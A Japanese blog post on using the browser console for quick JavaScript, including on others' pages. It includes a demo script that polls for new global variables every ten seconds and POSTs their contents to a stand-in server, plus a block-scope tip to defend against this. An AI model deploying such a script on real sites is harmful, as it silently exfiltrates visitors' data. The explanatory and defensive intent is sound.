◆ コンソールで他人のページを好きにいじれるけど 製作者がなにか対抗できないかなと考えてみた結果

JavaScript の使いやすさ

JavaScript って気軽に使えるのが一番良いところですよね
「今年の土日ってあと何日あるんだろう?」とか「1 年って何秒だっけ?」 とかちょっとしたことが気になったとき自分で数えたり計算したりはしたくないです
テキストをフォーマットしたいけどエディタの単純な置換だけだとちょっとやりづらいかもという時に地道に修正せずにできる限り自動でやらせたいです
そんなときに気軽に使えるプログラミング言語が JavaScript です

たいてい 「PC がついてる = ブラウザが開いてる」 ですからどのページでもいいので F12 キーを押せば開発者ツールがでます
Chrome/Firefox/Edge/IE どれでも使えます
この記事を見てる以上ブラウザで見てるはずなので PC なら読みながらでも使えます
開発者ツールのコンソールで JavaScript を打てばすぐに結果が返ってきます
わざわざコマンドラインのツールを起動して PHP とか Python とか動かすという手間がありません

常時コマンドラインツールを開いてて REPL がすぐに出せるという人なら JavaScript じゃなくてもいいですけど

特に良い部分が開発者ツールなのでただの REPL と違ってデバッグ機能もあることです
ちょっとした数式だけならともかく 十行を超えてきて変数や関数も使うと うまく動かない時にデバッグ機能があると便利です

常時 IDE 開いていてデバッグ含めて動かせる状態って人なら JavaScript じゃなくていいですけど

そういう使いやすさがあってちょっとしたことするには その場でコンソールを出して JavaScript を打ってます

他人のページで JavaScript を実行すると

開発者ツールは自分のページに限らず誰のページでも使えます
単にプログラムを実行して結果を得たいという以外にも ページ中の邪魔な要素を消したりもできます
「ログインしてください」 と画面の真ん中に出てくるオーバーレイコンテンツやはみ出して本文が見えなくなったりリンクが押せなくなってる邪魔な広告を無理やり消したり コピー禁止されているページで直接文章をコピーしたりといろいろできます

でも 使う側が勝手にできるだけじゃなくてページを作る側ができることもあります
定期的にグローバル変数を監視して 新たに作られたものがあったら自分のサーバに送信することもできます
テキストフォーマットするためにグローバル変数に保存したときにその文章が実は送信されてる可能性が無いとは言えないのです
どうでもいいデータなら気にしなくて良いのですが 公開されると困るものだと気軽に変数に代入しないほうが良いです

とは言っても他人のページで JavaScript を実行して変数を作る人自体が少数で さらにそこに盗み見て価値のある情報が保存されることがほぼないのに それをターゲットにして監視する機能を入れてるページなんて 1% どころか 0.0000001 % もなさそうですけどね

私自身日常的に JavaScript を試そうと思ったらその時に開いていたページでコンソール開いてあれこれやってますが 見られて困る情報を入れたことなんて無いですし


でもせっかく思いついたので 軽く作ってみました
こんなスクリプトを入れておけば 自サイトのグローバル変数になにか追加されればその情報を送信できます

<!doctype html>
<script>
{
const default_names = Object.getOwnPropertyNames(window)
let prev = null
setInterval(() => {
const new_names = Object.getOwnPropertyNames(window).filter(n => !default_names.includes(n))
if(new_names.length === 0) return
const obj = {}
for(const name of new_names) obj[name] = window[name]
const body = JSON.stringify(obj)
if(prev === body) return
prev = body
fetch("http://localhost/post", {method: "POST", body: JSON.stringify(obj)}).catch(() => {})
}, 10000)
}
</script>

最初のロード時に window のプロパティ一覧を保存して 10 秒毎に新規に追加されたプロパティを探します
あった場合はそれらを JSON として送信します
前回のを保存して 前回の送信内容と同じなら何もしないようにしています


作ってみて気づいたのですが あとから実行されて変数に保存されても 先に用意しておいたタイマーでアクセスできるところってグローバルくらいなんですよね
なので 関数を定義せず即時実行したり {} を使ったブロックスコープ内で定義すればそれを参照はできません

GC される前なら 開発者ツールのプロファイル系で見れそうな気もしますが それをページ製作者が JavaScript から参照はできないです
もしものことを考えるなら {} を使って

{
const a = 1
const secret = "***"
console.log(secret + a)
}

という感じで実行すれば大丈夫でしょう

まあ const/let 使うならこうしないと定義済みになって二度目の実行ができないので自然とこうなってそうですけど